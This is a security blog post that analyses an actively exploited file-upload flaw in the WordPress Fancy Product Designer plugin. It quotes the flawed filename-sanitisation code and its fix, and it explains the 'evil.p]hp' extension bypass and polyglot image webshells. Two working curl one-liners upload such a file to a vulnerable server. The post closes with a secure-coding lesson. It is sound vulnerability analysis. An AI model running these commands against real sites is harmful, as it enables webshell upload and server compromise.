WordPress Fancy Product Designer exploit

kao

Today in my web server logs I noticed repeated scans for "fancy-product-designer" - a WordPress plugin which I most definitely don't have installed.

82.165.187.17 - - [22/Jun/2021:20:09:11 +0200] "GET /wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php HTTP/1.1" 404 12664 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 0 0.430
82.165.187.17 - - [22/Jun/2021:20:11:21 +0200] "GET /wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php HTTP/1.1" 404 12664 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 0 0.490
82.165.187.17 - - [22/Jun/2021:21:09:55 +0200] "GET /wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php HTTP/1.1" 404 12664 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 0 0.482
82.165.187.17 - - [22/Jun/2021:21:12:48 +0200] "GET /wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php HTTP/1.1" 404 12664 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 0 0.515

Few Google searches later, I found an article by Wordfence titled "Critical 0-day in Fancy Product Designer Under Active Attack". As usual, all the important details were missing from their article, so I decided to fill-in the gaps. πŸ™‚

Vulnerability details

There are plenty of different ways how to find the vulnerable code. But since the vulnerability is already fixed, the easiest way is to see what code was changed. So, I set out to find a vulnerable version of the plugin and the fixed version.

It turns out, fancy-product-designer\inc\custom-image-handler.php is a full-featured file uploader.

Goddamit, when will people stop adding vulnerable file uploaders to every PHP project?! 😑

The vulnerable code is located in another file - fancy-product-designer\inc\fpd-image-utils.php, function sanitize_filename:

public static function sanitize_filename($filename) {

    // Forbid Directory Traversal
    $filename = basename($filename);

    // Restrict the name to a safe character subset
    $sanitize_name = preg_replace("/[^a-z0-9\.]/", "", strtolower($filename));

    // Block scripts based on their extension
    $forbidden_extensions = '/ph(p[3457st]?|t|tml|ar)/i'; // php|php3|php4|php5|php7|phps|phpt|pht|phtml|phar
    if ( preg_match($forbidden_extensions, $filename) )
    {
        throw new Exception("Malicious file detected", 403);
    ....

Can you see the issue? πŸ™‚ If you can't, don't worry, I'll show it later when crafting exploit.

As for the fix, it consists of a single line. Fixed version looks like this:

    // Restrict the name to a safe character subset
    $sanitize_name = $filename = preg_replace("/[^a-z0-9\.]/", "", strtolower($filename));

Crafting exploit

Now that we know where the vulnerability lies, let's see what obstacles attacker needs to overcome to achieve arbitrary file upload...

1) check for file extension.

public static function sanitize_filename($filename) {

    // Forbid Directory Traversal
    $filename = basename($filename);

    // Restrict the name to a safe character subset
    $sanitize_name = preg_replace("/[^a-z0-9\.]/", "", strtolower($filename));

    // Block scripts based on their extension
    $forbidden_extensions = '/ph(p[3457st]?|t|tml|ar)/i'; // php|php3|php4|php5|php7|phps|phpt|pht|phtml|phar
    if ( preg_match($forbidden_extensions, $filename) )
    {
        throw new Exception("Malicious file detected", 403);
    ....

As we already established, sanitize_filename function is/was flawed.

Sanitization will create a new filename $sanitize_name consisting only of lowercase letters, numbers and dots. But forbidden extensions are matched against original filename!
For example, filename evil.p[hp will get "sanitized" to evil.php. However, regex will check evil.p[hp and will not flag that as malicious.

2) check for valid image data.

//check if its an image
if( (!getimagesize($file['tmp_name'][0]) && $ext !== 'svg') || !in_array($file['type'][0], $valid_mime_types) ) {
    die( json_encode(array(
        'error' => 'This file is not an image!',
        'filename' => $filename
    )) );
}

PHP function getimagesize is used to verify that uploaded file is actually an image. So, you can't just upload a pure PHP file, it will not be accepted.

Luckily for us, PHP interpreter is very forgiving - it will check the entire file looking for valid <?php tag. So, it's really easy to put PHP code in the image metadata or even after the actual image data.

Files that are valid forms of multiple different file types are called "polyglot files" and they have been known for decades. You can read more about them, for example, in Polyglot Files: a Hacker’s best friend or Hiding Webshell Backdoor Code in Image Files.

Attackers exploiting this vulnerability appended their webshell after the image data:

Crafting polyglot file for this exploit is left as an exercise for the reader.

3) check for mime type

$valid_mime_types = array(
    "image/png",
    "image/jpeg",
    "image/pjpeg",
    "image/svg+xml",
    "application/pdf"
);
...
//check if its an image
if( (!getimagesize($file['tmp_name'][0]) && $ext !== 'svg') || !in_array($file['type'][0], $valid_mime_types) ) {
    die( json_encode(array(
        'error' => 'This file is not an image!',
        'filename' => $filename
    )) );
}

The same line of code also verifies that sent MIME type is one of the whitelisted ones. I have no idea why it's being done, as MIME type has only informational value. And it's trivial to bypass, just instruct curl to send the correct one! πŸ™‚

Putting it all together, we get this one-liner:

curl.exe -F "uploadsDirURL=." -F "uploadsDir=." -F "file[]=@evil.p]hp;type=image/jpeg" "http://{vulnerable_server}/wp-admin/admin-ajax.php?action=fpd_custom_uplod_file"

or, if you prefer to access image uploader directly:

curl.exe -F "uploadsDirURL=." -F "uploadsDir=." -F "file[]=@evil.p]hp;type=image/jpeg" "http://{vulnerable_server}/wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php"

Yes, that's all you need to exploit this vulnerability. πŸ™‚

Key takeaway

If you're writing any sort of code handling user input - do not make your own sanitization routines. You'll most likely fail. Just find whatever methods your framework offers and use those. It's much safer that way.

Have fun and stay safe!

14 thoughts on “WordPress Fancy Product Designer exploit

  1. I'm newbie. Wanna understand the part

    -F "file[]=@evil.p]hp;type=image/jpeg"

    is it will use the evil.p]hp file in LOCAL disk in current working directory?

    1. Yes, it will.

      You can read about CURL parameters in the manual (https://curl.se/docs/manual.html), it's actually really good! πŸ™‚

      -F accepts parameters like -F "name=contents". If you want the contents to be read from a file, use @filename as contents. When specifying a file, you can also specify the file content type by appending ;type=<mime type> to the file name

      1. Oh! I'm sure you have pretty updates for demoleition πŸ˜€ anywys! thank you sir kao and i love you blog!

  2. blackholes123

    Hello kao,

    I was wondering how you would recommend learning reversing and what resources to use.

      1. blackholes123

        Hi Kao, Thank you for your reply. I will make sure to try the resources you sent. I saw in an earlier article that you recommended Lena151's tutorials as well. Would you still recommend them as a good resource or are they too outdated?

Leave a Reply

  • Be nice to me and everyone else.
  • If you are reporting a problem in my tool, please upload the file which causes the problem.
    I can`t help you without seeing the file.
  • Links in comments are visible only to me. Other visitors cannot see them.

5  +   =  13